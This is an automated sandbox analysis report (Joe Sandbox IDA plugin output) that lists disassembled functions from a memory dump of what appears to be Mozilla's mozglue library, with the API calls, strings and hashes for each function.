Part of subcall function 6C65FA80: GetCurrentThreadId.KERNEL32 ref: 6C65FA8D
Part of subcall function 6C65FA80: AcquireSRWLockExclusive.KERNEL32(6C6AF448), ref: 6C65FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66653F
free.MOZGLUE(?), ref: 6C66655A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: fa56b6098ee803b25894406fa2ed85da1d199dc932a860dae9d486d2b782d383
Instruction ID: 9b5a6bfdb044d83543ff7e28330afc46eede67d23c0a585b89920e895219ad4f
Opcode Fuzzy Hash: fa56b6098ee803b25894406fa2ed85da1d199dc932a860dae9d486d2b782d383
Instruction Fuzzy Hash: 143172B5A043159FD700CF15D884A9FBBE4FF89314F10842EE85A97741D730E919CB9A

Function 6C65FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C67D019,?,?,?,?,?,00000000,?,6C66DA31,00100000,?), ref: 6C65FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C67D019,?,?,?,?,?,00000000,?,6C66DA31,00100000,?,?), ref: 6C65FFF5
free.MOZGLUE(?,?,?,?,?,6C67D019,?,?,?,?,?,00000000,?,6C66DA31,00100000,?), ref: 6C66001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C67D019,?,?,?,?,?,00000000,?,6C66DA31,00100000,?,?), ref: 6C66002A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: fd98e62ce7203e3bc766cd36e50e87cb9f2904187e3e1f0e53ef0bdc82f9a08a
Instruction ID: 32036bea33375f0d55b5448394330ddeea09ca829a74e6fb6697453ff2915281
Opcode Fuzzy Hash: fd98e62ce7203e3bc766cd36e50e87cb9f2904187e3e1f0e53ef0bdc82f9a08a
Instruction Fuzzy Hash: 30210872A002165FC7089E789C948AFB7BAFBC53247354338D525D7B80EA719D1182E9

Function 6C63B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C63B4F5
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C63B502
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C63B542
free.MOZGLUE(?), ref: 6C63B578

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 27c80c59182751bc0a62f010642b39d39e3310d44f2e97248f67d948adbff34c
Instruction ID: e554529cddc4d1652541aaec5f6159d588444ab325a6a59f27ddd5f48976af3c
Opcode Fuzzy Hash: 27c80c59182751bc0a62f010642b39d39e3310d44f2e97248f67d948adbff34c
Instruction Fuzzy Hash: A511E731A04F55CBD3118F69D8407A9B3B0FFD6328F14A70AD84D53A02EBB1B5D58799

Function 6C663DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C62F20E,?), ref: 6C663DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C62F20E,00000000,?), ref: 6C663DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C663E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C663E0E

Part of subcall function 6C65CC00: GetCurrentProcess.KERNEL32(?,?,6C6231A7), ref: 6C65CC0D
Part of subcall function 6C65CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6231A7), ref: 6C65CC16

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 085a5871df17fd5cffe7d45a5ce3c3dc67329b1f9e6ef43fb34daed980729f37
Instruction ID: 49c3789b4c05f042c8aecd44b258837eca0c55d3016843cf9e1cc57c15a0866f
Opcode Fuzzy Hash: 085a5871df17fd5cffe7d45a5ce3c3dc67329b1f9e6ef43fb34daed980729f37
Instruction Fuzzy Hash: 48F0FEB15002087BD704AB95EC81DAF376DDB47628F044021FD0957741D636B92596FF

Function 6C672050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C67205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C67201B,?,?,?,?,?,?,?,6C671F8F,?,?), ref: 6C672064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67208E
free.MOZGLUE(?,?,?,00000000,?,6C67201B,?,?,?,?,?,?,?,6C671F8F,?,?), ref: 6C6720A3

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6baef8f5456b96666fa25a08e141168f4da10bc1e85abde7a1a27e251cd5f60e
Instruction ID: 1d4620f1a8cb9b8441f6656c47bf787d0fc6d5c14b970f92ef7045218a47b5f2
Opcode Fuzzy Hash: 6baef8f5456b96666fa25a08e141168f4da10bc1e85abde7a1a27e251cd5f60e
Instruction Fuzzy Hash: A6F09075100604DBC7219F16D888B5BBBF8FF86364F10051AE54687710C772A8068BAD

Function 6C6785B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6785D3

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C678725

Strings

map/set<T> too long, xrefs: 6C678720

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b5178e379ee0badab931a1d0bc850eded2019d02551570483c7fdeb324b07e19
Instruction ID: 4cfd05893786bb62c0705744707d876bde3714bf2953fc9686d33dbaf60ff2ec
Opcode Fuzzy Hash: b5178e379ee0badab931a1d0bc850eded2019d02551570483c7fdeb324b07e19
Instruction Fuzzy Hash: 8F516774600641DFD711CF28C084A59BBF1BF4A328F18C98AD8596BB62C335EC45CFA6

Function 6C62BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C62BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C62BE8F

Strings

0, xrefs: 6C62BE5B

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c89ba92feeef2a67707a4eca1af2f7c6e946d1ea5957929a4ccd944106c23c0f
Instruction ID: d33ba154a776de5bdc19db2764d5f39940041b95df69c341c11d29f7419b026b
Opcode Fuzzy Hash: c89ba92feeef2a67707a4eca1af2f7c6e946d1ea5957929a4ccd944106c23c0f
Instruction Fuzzy Hash: 8D418D71909745CFC711CF29C481A9BB7E4EFCA388F008A1DF9C6A7611D734A9598B8A

Function 6C663CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C663D19
mozalloc_abort.MOZGLUE(?), ref: 6C663D6C

Strings

d, xrefs: 6C663D58

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 448c322c03fb3ed4f7652d91f7074d4d510bf4463ddba1cf6186c7129c4b4542
Instruction ID: a835ff4fce7f5d0822e759a17d4ffc10bd1ee0fb2654f6c1835df627fa6faecb
Opcode Fuzzy Hash: 448c322c03fb3ed4f7652d91f7074d4d510bf4463ddba1cf6186c7129c4b4542
Instruction Fuzzy Hash: AE110431E04689D7DB008FABC8544EDB7B5EF87318F448228DD4597A02EB30A584C399

Function 6C634730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6344B2,6C6AE21C,6C6AF7F8), ref: 6C63473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C63474A

Strings

GetNtLoaderAPI, xrefs: 6C634744

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 348a371a67c8563e69c7a383ac6946d966e19c11864e78e95e38be228f5254af
Instruction ID: 4f79000b1acda1462e7f2818ba7ca45c07352c6d20e32673659e9941f8e42e53
Opcode Fuzzy Hash: 348a371a67c8563e69c7a383ac6946d966e19c11864e78e95e38be228f5254af
Instruction Fuzzy Hash: F3018C753042188FDF049FA7989866DBBF9EB8A311F040069EA09C7700DB71E8028F9A

Function 6C686DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C686E22
__Init_thread_footer.LIBCMT ref: 6C686E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C686E1D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: b00c477ba5cbef0806008e97501c9d53ee65174e7ac85b514b742ca2b67dd544
Instruction ID: 9d3e55c387d72960b04784746e78d1955ce75a4373ad9d115b5e3a548fed8780
Opcode Fuzzy Hash: b00c477ba5cbef0806008e97501c9d53ee65174e7ac85b514b742ca2b67dd544
Instruction Fuzzy Hash: 15F0593060A240CBDB208BE9E8D4A99B3716313318F042265C41186B72CB21F917CFBF

Function 6C639E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C639EEF

Strings

Infinity, xrefs: 6C639EB7
NaN, xrefs: 6C639EC1

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7f4eae73525be282535880da7dceee27c2c5fd651a92bf3ff7adcb00765fc105
Instruction ID: 65c043fc4f99a4534cb69defd685e0886f92ea0cfdc18d70a97a12dcdabfd574
Opcode Fuzzy Hash: 7f4eae73525be282535880da7dceee27c2c5fd651a92bf3ff7adcb00765fc105
Instruction Fuzzy Hash: DEF0AF70600242CBDB12AFDAF88579877F1A74330DF201A15C5444AB81D7357957CBAF

Function 6C636C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kfl,?,6C664B30,80000000,?,6C664AB7,?,6C6243CF,?,6C6242D2), ref: 6C636C42

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

moz_xmalloc.MOZGLUE(0Kfl,?,6C664B30,80000000,?,6C664AB7,?,6C6243CF,?,6C6242D2), ref: 6C636C58

Strings

0Kfl, xrefs: 6C636C33, 6C636C41, 6C636C57

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kfl
API String ID: 1967447596-3657671886
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 5838317285286642e8cfc0427e27f29e90301440fc6d595335ba1ba11103e665
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 93E026F1A101201A9B09987D9C0A56A71C8AB553A87047A35F82BC2BC8FA94E440805D

Function 6C633850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6AF860), ref: 6C63385C
ReleaseSRWLockExclusive.KERNEL32(6C6AF860,?), ref: 6C633871

Strings

,jl, xrefs: 6C63387A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,jl
API String ID: 17069307-950642993
Opcode ID: 13794f92c724956040e768d399a20a16bb59e1272a8ac1ae98d6408354dc1e26
Instruction ID: 8f9b8a8d3e56cf14e69ebcad0bbffc13fc0a66cb94b398bfc521e608bacf0baa
Opcode Fuzzy Hash: 13794f92c724956040e768d399a20a16bb59e1272a8ac1ae98d6408354dc1e26
Instruction Fuzzy Hash: 27E0DF31A15A2C9787119FE7A44158E3BB8EF837907046015F80D17A00C731E8428BDF

Function 6C63BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C63BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C63BEF5

Strings

cryptbase.dll, xrefs: 6C63BEF0

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 1d1593e7459c0828c084c43045c22bb2ef75d7887f8824a2d09c3b221ebb11c0
Instruction ID: bd8260f0a55a382b59c92bc10ee7456eb85eff4e7fab8d95e0aa9d44b9297bd0
Opcode Fuzzy Hash: 1d1593e7459c0828c084c43045c22bb2ef75d7887f8824a2d09c3b221ebb11c0
Instruction Fuzzy Hash: 9AD0A73118460CEACB006AD59C05B2D3BB4B781395F10E020F30944892C7B0A413CF4C

Function 6C67B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C67B2C9,?,?,?,6C67B127,?,?,?,?,?,?,?,?,?,6C67AE52), ref: 6C67B628

Part of subcall function 6C6790E0: free.MOZGLUE(?,00000000,?,?,6C67DEDB), ref: 6C6790FF
Part of subcall function 6C6790E0: free.MOZGLUE(?,00000000,?,?,6C67DEDB), ref: 6C679108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C67B2C9,?,?,?,6C67B127,?,?,?,?,?,?,?,?,?,6C67AE52), ref: 6C67B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C67B2C9,?,?,?,6C67B127,?,?,?,?,?,?,?,?,?,6C67AE52), ref: 6C67B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C67B127,?,?,?,?,?,?,?,?), ref: 6C67B74D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c87aabc6561dcb71ee8d7a7c45284a65adafbda9594855e3d36280bdfb9b8509
Instruction ID: 7fb9f9ce09f21af46f5f2019b7ead2798243c70e13b029c917cfd3f3bf9bb2be
Opcode Fuzzy Hash: c87aabc6561dcb71ee8d7a7c45284a65adafbda9594855e3d36280bdfb9b8509
Instruction Fuzzy Hash: 3451DE71A012168FDB24CF58C9846AEB7B1FF85308F15892DC95AAB700D735A804CBB9

Function 6C67DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C66FF2A), ref: 6C67DFFD

Part of subcall function 6C6790E0: free.MOZGLUE(?,00000000,?,?,6C67DEDB), ref: 6C6790FF
Part of subcall function 6C6790E0: free.MOZGLUE(?,00000000,?,?,6C67DEDB), ref: 6C679108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C66FF2A), ref: 6C67E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C66FF2A), ref: 6C67E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C66FF2A), ref: 6C67E0FE

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 42aa046ddeb050636b256b5ccd64eed355245230bf9bc78eb83a5c7747161b44
Instruction ID: c1ead6d0f57bf33ef4a98c36dc1b4ebe1d23eab3d46f457b6073349769f89d67
Opcode Fuzzy Hash: 42aa046ddeb050636b256b5ccd64eed355245230bf9bc78eb83a5c7747161b44
Instruction Fuzzy Hash: FE41D571604206CFEB24CF68D88479A73B2BB45308F154D39D516DB740E732E918CBBA

Function 6C676E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C676EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C676EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C676F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C676F5C

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: bf9ab5e29e4ec222bed39938e49b23ff47be88f26ed17bfb35c28902d4f32cde
Instruction ID: c2b4b0395d490a4f84b5c4b750e08d3a25896a64d7958cd03e826d3d948f9a58
Opcode Fuzzy Hash: bf9ab5e29e4ec222bed39938e49b23ff47be88f26ed17bfb35c28902d4f32cde
Instruction Fuzzy Hash: 6D310371A1060A8FDB14CF2DDD806AE73FAEB84304F508A39D41AD7651EB32E659C7B4

Function 6C68B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C630A4D), ref: 6C68B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C630A4D), ref: 6C68B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C630A4D), ref: 6C68B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C630A4D), ref: 6C68B67F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
